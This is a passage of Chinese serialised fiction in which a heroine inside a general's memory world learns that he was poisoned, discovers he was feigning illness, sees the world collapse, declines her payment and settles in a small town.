苗悦皱眉:“好好的怎么会这样呢。”她去拿那冰泉酿,“是不是这冷酒伤身啊……” 朱小婉把酒推开,说:“燕将军是一城之主,担着多少军务政务,如今又要操持婚事,还日日都过来陪你吃饭说话。就算是铁打的身子骨,也经不住这么熬啊。将军还是好生休养几天,不要总是过来了。” 燕钊听了,缓声道:“夫人说得是,只是我一天见不到锁儿,这心里,便总不踏实。” 苗悦关切道:“你就在家好好歇几天,等好了再来。” 朱小婉垂着眼,默默布菜。 一顿饭用完,燕钊起身时,动作有些迟缓,甚至需要扶着桌沿,才能站直身体。 苗悦的心又提了起来,忙扶住他,将人送到门口,看着燕钊骑马离开。 直到完全看不见了,苗悦又站了好一会儿才转身。 这一转身,却见朱小婉站在门口,静静地看着她。 “你就这么喜欢他?”朱小婉问。 苗悦猝不及防,耳根烧了起来。 她迎上朱小婉的目光,点了点头:“喜欢。” 朱小婉笑了下,没说什么,转身回了店里。 接连几日,燕钊都没出现在酒馆。 苗悦坐立难安,几次想去将军府探问,都被朱小婉厉声喝止。 “你这丫头,怎么这般不知羞,婚还没结,就自己往男人府上跑,传出去像什么样子?他那么大个人,又是将军,身边还能缺了人照顾,你给我安生待着!” 苗悦只得按下性子,心中焦灼与日俱增。 又过了两日,一个晚上,一名燕钊的亲兵叩响房门。 那年轻士兵站在店门口,言辞闪烁,吞吞吐吐,不敢与苗悦对视,只说将军一切安好,让姑娘不必挂心。 苗悦薅住他,逼他说实话。 亲兵在她连声追问下,竟红了眼眶,嘴唇哆嗦着,道:“姑娘,你……你别问了……将军不让告诉你……他现在很不好……” 苗悦只觉得一股寒意从脚底直窜头顶,强自镇定:“怎么不好,你说清楚。” “昨儿夜里将军突然呕血,吐……吐了半盆子……”亲兵声音哽咽,“昏迷了大半夜,天亮才缓过来一点。” “刘太医呢?他怎么说?”苗悦追问。 “刘太医守了一夜,也查不出根由。将军醒来头一件事,就是吩咐小的来报平安,怕姑娘担心……” 亲兵后面还说了什么,苗悦已经听不清了。他什么时候离开的,苗悦也不知道。 她失魂落魄地坐在椅子上,不断地用理智提醒自己。 谁还没有生病的时候,他受过伤,中过毒,多少次命悬一线,不都挺过来了吗? 这一次,也一定会的。 对,一定会的。 现实中的他可是安然无恙当着他的“活阎王”呢。 一杯温热的红糖姜水递到了她眼前。 “锁儿,喝点热水。”朱小婉不知何时来到了她身边,声音是前所未有的温柔,“别胡思乱想,听娘的话,好好睡一觉,睡醒了,就什么事都没有了。” 苗悦下意识接过杯子:“娘……”她声音干涩,“我怎么觉得,他病得这么奇怪呢?他身体一向很好的,我从没见他生过病,怎么会突然就这么严重了。” 朱小婉轻轻抚着她的头发:“你再怎么担心,也不能把自己给熬病了。你要是病了,娘怎么办啊。乖,把糖水喝了,你这两天都没好好吃饭。” 朱小婉说着,将杯子送到她唇边。 苗悦一口一口地喝着那甜得有些发腻的糖水,温热的液体滑过喉咙,坠入胃里,似乎真的起了效果。 她有了困意。 朱小婉接过空杯子,扶她上楼。 “好了,没事了,睡一觉,什么都好了。” 朱小婉扶着她躺到床上,帮她盖好被子,手在她背上轻轻拍着。 意识像沉入水底的石头,越来越模糊,越来越沉重。 苗悦就那么毫无抵抗地陷入了睡梦中。 朱小婉看着她沉睡,原本轻拍的手抚上女儿颈后,撩开头发,将衣领向下拉,露出右肩头一个月牙形的浅色胎记。 她盯着那胎记看了好一会儿,重又把衣服整理好,掖了掖被子,开始整理女儿房中的物件。 次日清晨,寅时刚过,天色仍是墨蓝。 一辆半旧的青篷马车从花家酒馆的后门驶出,径直朝着南郊方向驶去。 车夫裹着厚厚的棉帽,看不清面容。 酒馆对面,一家即将开门营业的包子铺门前,正在洒扫的长工盯着马车离去的方向,扔下扫帚,快步穿过街道,牵出一匹马,朝将军府的方向狂奔而去。 苗悦在颠簸中醒来,脑子里像是塞满棉絮,沉重又混沌。 她费力地睁开眼,映入眼帘的是微微晃动的青布车篷,身下是硬邦邦的不断震颤的木板。 刺目的阳光透过薄薄的车帘透进来,晃得她头晕目眩。 这是哪儿? 苗悦的目光扫过车厢角落,那里堆着几个捆扎结实的包袱,正是她们家中平日存放细软的箱笼。 不安瞬间攫住了她。 她挣扎着撑起身子,撩开车帘。 陌生的山野土路飞速向后掠去。 朱小婉驾着车,听到身后动静,回过头来。 她的脸色有些苍白,眼神里交织着紧张、决绝与疲惫。 “锁儿,你醒了,别怕,坐稳些。” “娘。”苗悦的声音因为惊惧而拔高,“这是怎么回事?你要带我去哪?!” 朱小婉用力一抖缰绳,催着马匹跑得更快了些。 她半侧着身,目光复杂地看了女儿一眼。 “燕钊是害死你爹的凶手。”她声音不大,却像惊雷一样炸响在苗悦耳边,“不过没事了,锁儿,我们已经替你爹报仇了。” 苗悦呆呆地看着朱小婉,浑身的血液仿佛凝固了。 无数被忽略的细节汹涌而至,在她脑海中串联碰撞。 燕钊突如其来的重病,朱小婉执意租下杨溪的铺子,那壶只有燕钊独饮的冰泉酿…… “你……”苗悦呼吸急促,死死盯着朱小婉,“你给他下毒了?你在那酒里下毒了,是不是!” 朱小婉没有否认,抿紧了唇,默认了一切。 绝望袭来,苗悦感觉整个世界都在旋转崩塌。 她强行拉回理智,抬起头。 天空,蔚蓝而高远,土地,坚实而稳固。风吹过山野,草木摇曳,充满生机。 这个世界依然在按照它的规律运行着,没有崩溃,没有消失。 燕钊还活着。 她的任务还没有失败。 不能放弃—— 作者有话说:明天周三,休息一天《 》 80-90 第81章 苗悦猜到朱小婉对燕钊下毒, 第一反应是想问为什么。 但这个念头只在她脑中闪了一瞬,便被压了下去。 为什么根本不重要,重要的是解药。 她一把抓住朱小婉手臂, 哀求道,“娘, 我求你了, 你把解药给我吧, 求求你了……女儿……女儿离不开他……” 朱小婉被她抓得生疼, 更被她眼中不顾一切的哀求刺痛, 积压的愤怒瞬间爆发。 “他杀了你爹!你爹不过是为祝家做了一年工, 就被牵扯进去, 死得不明不白!你竟为了一个杀父仇人,这样低三下四地求我?!” 苗悦盯着马车外越来越陌生的旷野,心渐渐硬了起来。 不能让朱小婉就这样离开, 否则, 她去哪里找解药救燕钊。 “娘, 你知道解药在哪吗?” 朱小婉冷哼:“就算知道,我也不可能告诉你。” 苗悦再不多言, 猝然出手,猛地扣住朱小婉抓缰绳的腕门, 右手则快速探向缰绳,意图夺过控制权。 朱小婉腕上一麻,缰绳已脱手大半。 她万没料到向来娇弱的女儿竟有如此迅捷的身手,骇然瞪大眼睛,声音都变了调。 “你、你不是锁儿,我就知道……你是哪里来的妖怪?你把我女儿弄到哪里去了?!” 苗悦咬紧牙关,一手控着朱小婉, 一手控着缰绳。 这具身体从未习武,力量有限,她控得极为费力。 拉扯之间,马匹受惊,长嘶一声,高高扬起前蹄。 车身剧烈颠簸,朱小婉下盘不稳,紧紧抓住苗悦,两人一同被甩落车下,重重摔在尘土里。 那马脱了束缚,嘶鸣着狂奔而去,转眼消失在道路尽头。 苗悦顾不上疼痛,爬起扑向朱小婉,将她死死按住。 “解药!解药在哪里?!”她大吼着。 朱小婉被她压制,又惊又怒。 她拼命挣扎,厉声喝问:“我女儿呢?!你把我的锁儿怎么了?!” 苗悦急得几乎要哭出来,手下丝毫不敢松懈。 “燕钊要是死了,我们全都活不成了,我真的被你害死了!” 朱小婉歇斯底里叫着:“那就一起死,全都去死。” 就在两人激烈纠缠之际,数匹战马由远及近,扬起一片烟尘,转瞬到了二人近前。 杜言勒住马,看到苗悦,急急喊道:“锁儿姑娘,快跟我回去,将军想见你最后一面。” 苗悦死死揪着朱小婉不放,用尽力气:“杜先生,毒是她下的,她一定有解药。” 朱小婉闻言哈哈大笑,笑声凄厉,充满了快意与恨意。 “寒心散无药可解,燕钊早已毒入膏肓,活不了了!哈哈哈哈,我只恨那毒酒没让你这妖怪也喝下去,替我儿偿命。” 杜言翻身下马,几步抢到苗悦身边, 伸手去扶她,声音沉痛:“锁儿姑娘,别管她了,你快回去,再晚了……就真的见不到了。” 苗悦愣住,一下子失了力气。 什么叫再也见不到了,这不可能…… 朱小婉趁机将她推开,反身扑上,一把掐住苗悦脖子,质问:“我女儿呢?你把我女儿弄到哪里去了?!” 两名亲兵急忙上前,强行将朱小婉拉开制住。 杜言将苗悦扶起,半拖半抱地将她推上马背,对另几名亲兵道:“护送姑娘回府!快!” 苗悦浑浑噩噩的,脑中只剩下“最后一面”和“无药可解”。 她抓紧缰绳,狠狠一夹马腹,箭一般朝着衡州城方向冲去。 风像刀子一样刮过脸颊,却刮不散心头的剧痛与冰凉。 在李晏整合的情报里,针对燕钊的毒杀事件,大半刺杀者有名有姓,但也有少量仅仅是随口提及,没有姓名。 朱小婉就是没有姓名的一个。 这意味着,在真实的过去里,朱小婉的毒杀根本未能对燕钊构成实质威胁,也就不可能产生这么严重的后果。 这一切的变故,根源都在苗悦。 是她一次次介入燕钊的人生轨迹,是她试图扭转他原本的性情,是她总在有意无意间对燕钊好,是她放任感情不断升温,还美其名曰“工作福利”。 她的放肆,让燕钊动了心,让他认出了附在花锁儿壳子里的她。 于是,他才会频频踏入那间小酒馆。 于是,朱小婉才等来了近在咫尺的机会。 如果燕钊现在死了,他就会看清这个世界的虚妄。 羊肉面是假的,大当家的赏识是假的,杨溪的获救是假的,兄弟之情也是假的…… 那些他曾暗自庆幸的温暖片段,那些心动与承诺,都是精心编织的骗局。 他仍是那个独自挣扎着躲避明枪暗箭,从未被人真心在意过的陈狗娃。 他心中那点被苗悦小心翼翼捂热的微光,会在背叛和幻灭中,彻底熄灭。 苗悦原以为,在这场记忆之旅中,是自己给了燕钊关爱,温暖了他的心。 现在看,她带来的不是救赎,而是更深的地狱。 她将是压垮他的最后一根稻草。 只要想到燕钊可能会露出看透一切后的死寂眼神,或是陷入更深重的自我封闭,苗悦的心就疼得蜷缩起来。 她怕极了。 怕那个在黑暗中独自跋涉了太久的人,以为自己看到了光,却最终发现,一切都是幻觉。 她舍不得让他经历那样的绝望。 苗悦一路冲进刺史府,穿过层层叠叠的回廊庭院,凭着记忆,拼命向前跑,直到熟悉的院门出现在眼前。 燕钊的房间大门紧闭,几名亲兵守在门前,个个面色凝重。 苗悦喘着气,抓住离她最近的一个亲兵,声音抖得不成样子。 “他怎么样了?” 那亲兵眼眶通红,深深垂首,摇了摇头。 “刘太医正在里面为将军施针……” 苗悦僵硬地转身,盯着紧闭的房门。 杜言赶回来了,气息未匀,脸色灰败。 “朱小婉……她……咬舌自尽了。” 苗悦恍若未闻。 又过了一会儿,房门被拉开,刘太医走了出来。 他对众人摇了摇头,哑声道:“下官以金针与猛药暂时护住将军心脉。你们有什么话,尽快进去说吧。将军虽无法回应,但应当还能听见。” 苗悦双腿一软,险些瘫倒。杜言眼疾手快扶住她。 “锁儿姑娘,这个时候将军最想见的,只有你。进去吧,别让他等久了。” 苗悦却猛地挣脱杜言的手,扑到了刘太医面前,噗通一声跪了下去。 “刘太医,您再想想办法,一定还有办法的,对不对?再让他撑一撑……两个月!不,一个月!求求您了,不要让他现在……不能让他现在就这样……” 她几乎喘不过气,绝望的哀求:“您一定有办法的,是不是?您再想想……再想想办法啊……” 所有人都被苗悦这突如其来的崩溃和跪地哀求惊呆了。 刘太医手足无措,脸上露出为难与不忍的神色。他下意识看向杜言。 杜言望着苗悦,嘴唇紧抿,最终还是轻轻摇了摇头。 刘太医眼中最后一丝犹豫也熄灭了,他重重地叹了口气,弯下腰,扶起苗悦:“姑娘起来吧。医者父母心,但凡有一线生机,下官岂能不尽心竭力。实在是……唉……天命如此,人力有时穷啊……”他摇了摇头,劝道,“姑娘还是抓紧时间吧,莫要留下遗憾。” 杜言默默侧身,为她推开房门。 苗悦不知道自己是怎么走进来的。 里间光线昏暗,只点了一盏油灯,勉强照亮床榻周围,桌上散落着银针药瓶和沾了血迹的布巾。 燕钊静静躺在床上,脸上毫无血色,胸膛起伏微弱到几乎看不见。 苗悦一步步挪过去,跌坐在床边,颤抖着伸出双手,握住他的手。 她将额头抵在他手上,轻轻呢喃:“对不起……对不起……” 眼泪大颗大颗地滚落,滴在两人交握的手上。 “等你醒来,你就会发现真相。到那时,只怕我说过的做过的所有,你都会认为是我为了完成任务设下的骗局。”她轻声说,“我不知道说什么才能让你相信,在这个记忆世界里发生的事情,并不都是假的。” “是我对不起你……可是燕钊,我还是希望你能试着相信,虽然这个世界是假的,但有人真心实意地为你哭过,为你疼过,恨不得用自己的命换你活下去。” “我确是带着任务来的。这个任务不容易,为此我死了很多次。由你的记忆生成的世界也不是真的,我在这里努力得到的东西都不属于我。可即便如此,我还是偷偷地为自己攒下了一点点甜。靠着这点甜,我就能在与你分离的日子里,坚持下去。” “我不奢望你也记住那些快乐,而是想让你知道,即便在最糟糕的境地里,也能长出一些真实美好的东西。” “我的任务是让你忠君爱国。可如今,我唯一所愿,是盼你遵从本心而活,幸福快乐。” “等你醒来,觉得自己又被欺骗,又被抛弃的时候……求求你,别把所有的门都关上。恨这个局,恨安排这一切的人,恨我都可以……但请别恨你自己,别否定你曾经付出的感情。” 她轻轻吻上他毫无血色的唇…… 毫无预兆地,整个世界震动起来。 不是更换身份时空间扭曲的眩晕感,而是一种更为狂暴的崩溃前兆,仿佛构成记忆世界的基石正在逐一破碎。 地面像鼓皮一样起伏,桌上的银针药瓶跳舞般叮当作响。房 梁和床柱发出不堪重负的咯吱声,像被无形巨手拧动的麻花,出现了诡异的弯折和裂痕。 苗悦惊得坐起,慌乱地环顾四周,心瞬间沉到谷底。 燕钊要死了! 她猛地回头看向燕钊,用尽全力握紧他的手。 “燕钊……我喜欢你……我真的喜欢你……对不起……” 崩塌愈演愈烈,一根扭曲变形的床柱,啪地断裂,断木裹挟着碎屑,朝着床榻砸下来。 苗悦扑到燕钊身上,将头埋在他颈侧,紧紧闭上眼睛,用自己的后背迎向断落的木头。 就让一切在拥抱中结束吧。 只愿这最后一点暖意,能让燕钊醒来时,别对这个世界彻底失望。 那截断木在距离苗悦头顶几寸之遥的空中,忽然消失,一粒尘埃都没有落下。 与此同时,毁天灭地般的剧烈震动,竟也诡异地缓和了下来。 依旧在崩塌,但被某种力量强行拖慢了。 一只手抚上苗悦后颈。 一个声音在她耳边响起,冰冷又理智。 “记忆世界……”那声音顿了顿,语气里有种荒谬的了然,“……居然是这样。” 苗悦一僵,缓缓抬头,四目相对。 那双刚刚还紧闭着的,她以为再也不会睁开的眼睛,此刻清晰地映着她的倒影。 眼神是洞悉一切后的冷静,陌生得让人心头发寒。 苗悦倏地坐起,松开他的手,却被他反手一把握住,攥得极紧。 随着她起身的动作,燕钊也坐了起来。 他这一动,本已缓和的震动骤然加剧。 燕钊闭上眼,极力平复着什么。 片刻后,震动再次放缓了。 燕钊居然在这么短的时间内,就接受了如此荒谬的真相,甚至试图反过来掌控它。 苗悦惊惧交加。 燕钊睁开眼,眉头皱起:“想维持这里的稳固,真不容易。” 此时此刻,苗悦终于理清一切。 突然出现的震动,根本不是因为燕钊将死,是因为他知道了记忆世界的真相。 而这真相,是自己亲口说出来的。 在她说出来之前,记忆世界其实非常稳固,丝毫没有崩塌的迹象。 是她太慌了,慌到忘了观察,慌到被感情冲昏头脑。 “你没有中毒。”她呐呐道。 燕钊看着她,唇角勾起一抹笑,那笑竟有几分顽劣。 一个药瓶因震动从桌面滚落,燕钊只瞥了一眼,那药瓶便在半空中不见了。 同时,杜言因这异常的动静,推门闯入:“将军……” 他话音未落,燕钊的目光淡淡扫向他。 下一刻,杜言整个人好似被抹去一般,瞬间消失在原地。 长久以来,记忆世界始终遵循着现实逻辑运行,可眼前这景象,完全违背了常理。 诡异的一幕,骇得苗悦呼吸一滞。 燕钊将目光移回她脸上,打量片刻,缓声道:“你倒是不会消失。” 苗悦:“……” 她现在恨不得自己也立刻消失。 什么无药可救,什么最后一面……一切的一切…… “你故意的……”她声音发颤,“你算计我?” “挺有用的,不是吗?”燕钊弯唇,“再说,来而不往非礼也。” 苗悦怔了一下,忽然想起李晏说的“记忆世界里的燕钊,并非现实中的他”。 眼前的燕钊,已经不是她从小看着长大的熟悉的那个人了。 她想抽回手,对方却握得更紧,她不服气地继续使劲。 燕钊一用力,将不肯就范的她拉到自己近前,直视着她的眼睛,沉声问:“你叫什么名字?” 苗悦眼睛红红的,倔强地别开脸,咬紧牙关,不肯回答。 燕钊低笑一声:“也是,你那么喜欢我的时候都不肯说,现在更不会了。” 苗悦简直不敢相信,这般调笑的话竟是从燕钊嘴里说出来的。 她又羞又恼,更加用力挣扎,可这点力道在男人面前如蚍蜉撼树。 随着两人的拉扯,震动又变得强烈起来,桌椅摆设一样样无声地消失,门外的亲兵侍卫也如褪色的水墨画,接连不见踪影。 燕钊环视四周,眉头皱起。 整个世界摇摇欲坠,再也无法维持。 他收回视线,看向苗悦,缓缓道:“我会找到你的。” 话音落下,世界崩溃消散,化作无数飞旋的光点,归于虚无。 第82章 苗悦怎么也没想到, 任务竟会以这种方式失败。 她设想的最糟结局是关键事件偏离现实轨迹导致世界崩塌,却不知道,崩塌的根源, 竟是她自己。 记忆世界的真相,是李晏再三叮嘱必须严守的底线, 是维系整个任务运行的基石。 她却因惶恐自责, 以及那该死的不受控制的“真心”, 亲口将它告诉了燕钊。 本来任务即便失败, 也应是悄无声息的退场, 而非如此惊天动地的崩塌。 这真是一个最讽刺的败局, 让她难以接受。 苗悦躺在黑暗中, 一动不动,感觉全身的力气都被抽空了。 失败令她感到锥心的痛,她甚至分不清这痛究竟源于何处。 是痛恨自己因私情而犯下愚蠢的错误?还是痛恨她的真心被人利用。 她就这样躺着, 不知过了多久, 门外传来了轻轻的叩门声。 秦娘子声音温和:“姑娘, 你醒了吗?” 苗悦深吸一口气,应道:“醒了。” 她刚坐起身, 秦娘子便推门走了进来。 “公子请姑娘到隔壁房间一叙。” 该来的总会来,该认的总得认。 苗悦跟在秦娘子身后, 走向隔壁房间。 屋内的气氛有些沉凝。 李晏坐在桌边,面色愈加苍白,眼底布满血丝,眉宇间有种精力透支后的虚浮感,连那份从容气度都淡了几分。 周隐坐在他旁边,见到苗悦进来,起身对她点了点头, 指着旁边的空位:“姑娘刚从记忆世界脱离,身上难免乏力,坐下慢慢说吧。” 秦娘子扶着苗悦坐了下来,自己也在她身侧落座。 苗悦垂下眼,无意识摩挲着腕上的“悬丝探囊”,低声开口:“我失败了。” 屋中几人都静了静,却没有苗悦预想中的震惊或慌乱。 李晏按了按眉心,率先打破沉默,语带歉意:“我也是在记忆世界崩塌后,才苏醒的。这次失败,我也有责任,你不必太过苛责自己。按我们原本的计划,我应在返回现实后立刻将你唤醒,可是我死后,并没有回到现实,而是再次成为半年后的自己。那时,我正陪同皇兄重返长安,招揽各地诸侯。我一时摸不清状况,不敢贸然行动,本想与你联系,却得知昭宁公主死于刺杀。” 听李晏这样说,苗悦愈发愧疚。 秦娘子看向苗悦:“不过,老身还是想请姑娘详细说说,当时在那边究竟发生了什么?燕钊是如何知晓真相的,他又是何反应。这有助于我们推测他醒来后,可能的心境与动向。” 屋中静了下来。 苗悦垂着头,双手攥在一起,一个字也说不出来。 被利用的真心和因己而败的悔恨交织,让她难以启齿。 李晏看她的样子,再想到记忆世界中燕钊与昭宁的感情,心中隐约猜到了几分。 他暗叹一声,对周隐和秦娘子道:“周先生,秦娘子,有劳二位先出去片刻,我有些话想单独同苗悦姑娘说。” 待二人退出,房门掩上,李晏才看向苗悦:“现在只有我们两人了,你告诉我,真相是不是你亲口告诉燕钊的?” 苗悦猛地抬起头,慌乱过后,声音哑然:“是我说出来的,但不是你以为的那样。我没有背叛任务,我……是我太笨了,中了他的圈套。” 她将脸埋进掌心,肩头微微颤抖。 李晏沉默片刻,并未责怪,语气平静道:“从我决定用离魂香介入他的记忆起,种种结果我都推演过。虽未算到你的出现,但确实也包括燕钊知晓真相后,记忆世界崩塌这一最坏的可能。” 他顿了顿,继续道:“我第二次成为半年后的自己时,曾去信试探过燕钊对朝廷的态度。他的回信虽语焉不详,姿态难测,但至少明确表示,不会主动与朝廷为敌。”他看向苗悦,“记忆世界里的燕钊,显然对你用情至深。由你亲口说出真相,或许比他自己查出来冲击更大,但也少了些猜忌与阴谋的味道,未必全是坏事。” 苗悦听到“用情至深”时,不免失神。 “那你还要去衡州城见他吗?”苗悦忍不住问,“他现在肯定什么都知道了。” “当然要去。”李晏苦笑,“但凡有一丝希望,我都要试一下。再说我不去,现在还有谁能去。” 他将周隐和秦娘子重新请了进来,对他们宣布了自己的安排。 “选四名侍卫陪我入衡州城,其余人护送周先生和秦娘子前往容城。那里仍在朝廷辖下,燕钊总会有所顾忌,不至于公然在那里对你们不利。” 周隐立刻反对:“不行, 太危险了,你不能自己去。” 李晏想到记忆世界中,燕钊用周隐威胁自己的场景,越发坚定。 “我毕竟是皇亲,他不敢轻易动我。但你们不同,他可以将你们扣下,反过来胁迫我。其实我倒没什么可被他威胁,我只是担心,他会胁迫我说出苗悦的身份。” 他看向苗悦,沉吟片刻,问道:“苗悦姑娘,你是否还打算去衡州?” 苗悦显出迟疑和挣扎。 李晏见状,道:“若你和阿芦暂无定所,可随周先生他们一同去容城暂住。待此间事了,我会去与你们会合,届时你若愿意,也可同我一道返回长安。朝廷虽势弱,终究是朝廷,只要在长安,我可护你们周全。” 苗悦看了眼秦娘子,想到离魂香强大的效用,摇了摇头。 “多谢公子好意,但我不想再回长安了。” 李晏即便真的能庇护她,她又以什么身份接受他的庇护? 更何况,很难讲,李晏是不是想再借由她进入燕钊记忆。 李晏看着她,不再勉强,点头道:“人各有志,我明白。既如此,按照约定,无论任务成败,酬金都会付给你。” 苗悦道:“任务失败是因我之过,这钱我不能要。” 李晏温言:“约定就是约定。况且,你在此事中已尽力,且……付出了代价。” 苗悦抿唇不语。 当晚,李晏亲自将一个沉甸甸的钱袋和几件价值不菲的小巧金器放在桌上,面带歉意:“仓促之间,现银只能凑出这些,不足八千之数。” 他解下随身佩戴的玉佩,递给苗悦,“这玉佩你收好。待我进入衡州,会与四方会打好招呼。你日后可凭此玉佩,去任何一家四方会支取剩余的酬金。” 苗悦没有接。 李晏等了等,将玉佩放在桌上。 “若将来,你遇到任何难处需要帮助,可以去四方会出示玉佩,报上我名姓……” “李大人。”苗悦打断他,“你是雇主,我是你找来办事的人。如今事已了,这场交易,便到此为止了。相忘于江湖,便是最好。他日即便在街头巷尾遇见,也只当是陌路之人,不必相识,更不必相认。” 李晏微僵,失落与酸涩冲上他的心头。 他张了张嘴,想到自己的身份与背负的责任,终是压下那一点点不甘。 “那便……依姑娘所言。”他最终说道,“自此一别,两不相干,各自珍重。” 李晏微微颔首,算是作别,转身走了出去,带上了房门。 室内重归寂静,苗悦的目光落在桌面上。 那一字排开的玉佩,银锭和金器,在油灯下泛着诱人的光。 拒绝钱财,从来不是一件容易的事,尤其是对于一个缺钱的人来说。 可她没动。 “盗”分两种。 一种是潜入朱门高户,或混迹市井人流,凭眼力手法机变,取了银子自己花用。 这是靠手艺吃饭,凭本事养活自己,被捉到直接认栽。 另一种,便是一方付钱,雇佣她去“盗取”某样至关重要的东西。 这不是手艺活,而是一场交易,有甲方,有乙方,有明确的标的。 如果她失手了,东西没“偷”来,对方不追究她打草惊蛇的责任就已是大度,哪有脸收取报酬? 这与她为了活命去摸个钱袋,是截然不同的两码事。 前者是生计,看得是手艺,后者是承诺,讲得是信誉。 确实,他们事先约好,无论成败,皆有报酬。李晏也如约将金银摆在了这里。 但凡这次失败不是由苗悦亲手造成的,她都能毫不犹豫地收下。 可偏偏是她。 是她被那些朝夕相对的假象影响,被情字蒙了眼,动摇了心念,乱了方寸,最终失言酿成败局。 她好意思拿这个钱吗。 盗亦有道。 她好歹是“西市小仙姑”,事没办成,还捅出大篓子,这钱要是接了,岂不是坏了规矩,又砸了招牌。 老贼头若泉下有知,怕是会掀开棺材盖来打她手板。 苗悦收回目光,不再看那些黄白之物,开始收拾寥寥几件属于自己的东西。 屋外风声渐紧,卷过庭院,摇得窗纸簌簌作响。 天边滚过闷雷,积攒了许久的云层似不堪重负,山雨欲来。 第二天清晨,天依旧是铅灰色,雨终究没有痛快落下,只将地面洇得一片湿黑。 李晏推开虚掩的房门,屋内已空无一人。 桌上,玉佩,银钱,金器,纹丝未动。 他站在原地,沉默良久,最终只是轻轻叹了口气,将玉佩收起。 他吩咐周隐和秦娘子前往容城等候,自己则带了四名护卫,骑上马,朝着衡州城的方向而去。 天空阴沉沉的,乌云低垂,总似有雨要落下。 苗悦站在土坡上远望,恰有一缕阳光勉强穿透云层,照亮李晏远去的身影,那光随即又被乌云吞没。 “阿姐。”阿芦小心地问,“我们接下来去哪儿啊?” 苗悦眼中一片茫然,轻声道:“我也不知道……我们还有多少钱?” 阿芦在怀里摸了摸,摸出一把铜钱,一枚一枚数过,共有三十七枚。 阿芦从另一侧袖中掏出一小块碎银子,献宝似的交给苗悦。 “我帮秦娘子晾晒药材,研磨药粉,这是她给我的报酬。都给阿姐。” 苗悦接过,勉强笑笑,夸了句:“真棒。” 这点钱够他们生活一段时日,但显然不够再次跋山涉水启动征程的。 苗悦叹道:“先找个地方安顿几日,再想想要去哪里。” 第83章 苗悦带着阿芦, 朝着与衡州城相反的方向走了小半天,来到一个依着官道名为“清溪”的小镇。 镇子确实很小,一条主街贯穿头尾, 两旁的屋舍大多低矮,虽也显出些兵荒马乱后的萧条, 但街道上还算整洁, 行人往来也未见太多仓皇之色。 镇中的旗杆上, 猎猎飘扬着黑色军旗, 上方绣有硕大“燕”字。 几个穿着燕家军普通士卒服色的挎刀兵士, 在街市上巡视, 维持秩序。 这个小镇离衡州有些距离, 但仍处于燕家军管辖之下,从南方来衡州城,这里是必经之路。 苗悦与阿芦并行, 走在并不热闹的街上, 目光扫过街边稀稀落落的摊贩和行人。 迎面走来一个穿着长衫的中年男人, 衣服料子还算体面,腰间悬着个略显鼓囊的荷包。 贼对钱总是敏感的。 苗悦只扫了一眼那荷包的形状与下垂的份量, 心中便已约莫称出了里头银子的数目。 正出神间,那中年男人已走到了她身侧。 几乎是出于本能, 苗悦指尖微动,腕上细丝弹出,转瞬间,那荷包便已落入她袖中。 碎银入手微沉,烫得苗悦手心疼。 不是总念叨金盆洗手吗?不是烦透了被人追打喊杀的日子吗?不是总觉得做贼是被老贼头逼的吗? 现在没人逼你了,周遭也安全了,为什么还是手脚不干净? 苗悦实在厌倦了, 厌倦了那个下意识就去偷东西的自己。 她攥着袖中荷包,紧走几步,追上了那个男人。 “先生,”她将荷包递还过去,“你东西掉了。” 那男人一愣,摸了下腰间,立刻露出如释重负的表情,连声道谢:“多谢姑娘!多谢姑娘!这是给我家孩子瞧病的银子,丢了可真不知如何是好了。” 他说完,打量了一下苗悦和阿芦,见二人风尘仆仆却无行礼,便问:“二位可是刚到清溪镇?要去衡州城?” 苗悦也不知接下来该往何处去,只是掂量着手头越发见底的盘缠,终究还是开口:“我们姐弟二人初来此地,想先寻个能落脚的地方。” 男人热心地指了指前面:“这镇子小,拢共就一家客栈,往前走到头,挂着‘悦来’牌子的,也兼卖些酒菜。” 苗悦谢过那男人,带着阿 芦一路寻去,果然在街尾看到了“悦来客栈”。 走进店内,苗悦向小二说明来意,想看看有无杂活可做,暂求栖身。 小二面露难色,正要开口回绝,门外恰好走进来一个男人。 那男人抬眼看到苗悦她们,先是一愣,随即脸上露出笑容:“你们还真找来了。” 正是方才丢了荷包又被他们还回去的那位。 中年男人姓刘,是这间客栈的掌柜。 一年前,他携家带口奔着衡州城来,途经清溪镇时,发现此处虽小,却在燕家军管辖下治安严明,民生颇为安稳。 他寻思着,与其耗费大笔银钱缴纳入城捐挤进衡州,倒不如就在这镇子上盘下一家客栈,全家老小立马就能有个安顿。 而且此处是南来衡州的必经之路,将来时日长了,说不定还能遇上些别的机缘,届时再图进城也不迟。 刘掌柜得知苗悦她们的来意后,叹了口气,如实相告:“不瞒二位,镇上人少,往来客人不多,我这里确实不缺固定的人手。”他看了看苗悦和阿芦,“不过……看你们姐弟也是实诚人,若是暂时没处可去,可以在我这暂住,平日帮忙打扫,招呼一下客人,我管你们姐弟二人吃住,工钱却是没有的。你们看如何?” 苗悦没有犹豫,点头应下:“多谢掌柜收留。” 于是,苗悦和阿芦便在悦来客栈暂时安顿下来。苗悦手脚麻利脑袋灵活,阿芦老实听话也勤快,掌柜倒也满意。 如此过了两日,苗悦也渐渐动了在清溪镇长住下来的心思。 她所求的,其实再简单不过。 一处能遮风避雨的安稳居所,一份足以糊口的寻常生计,不必担忧受战火波及。 清溪镇虽清苦,但在燕家军治下,倒也秩序井然,能满足她这点最朴素的愿望。 于是,她开始在镇子上打听,想寻个能长久安身立命的营生。 可这镇子实在太小了,拢共就那么几间铺面,无一不是以家庭为单位经营,人手早已绰绰有余,哪里还需要额外雇人。 苗悦不由得想起花家酒馆,贴出招工告示后,上门相询的都寥寥无几。 到底还是大城市打工机会多。 当初刘掌柜说好只是暂住,如今一晃,姐弟二人已在客栈里住了四五日。 虽帮着做些杂活,但终究是白吃白住,苗悦心里愈发过意不去。 她不得不重新盘算起今后的出路,将周遭可能的城镇在脑中过了几遍,却发现,论及机会多寡与安稳程度,眼前这座兵强马壮,商旅渐盛的衡州城,实是眼下最优选择。 这日午后,原本稀稀落落的大堂,忽然来了不少面带兴奋的旅人。他们三三两两聚在一处,高声谈论着刚刚得知的消息。 “接下来整整三天,衡州城门大开,不收任何入城捐,只需在城门处登记身份户籍,便可直接入城。” “我也听说了,说是为了欢迎从长安来的几位大官,什么襄王嫡子,什么太常寺少卿的,为示诚意,开城三日,与民同乐。” “天潢贵胄啊,难怪如此大手笔。这几日正准备进城的可赶上了。” “燕将军当年能答应与昭宁公主联姻,可见他是愿意与朝廷往来的。如今局势微妙,他愿与长安来的贵人坐下来谈,倒像是燕将军会做出来的事情。” “可都传,昭宁公主是自尽的,若真如此,燕将军难道不记恨?” 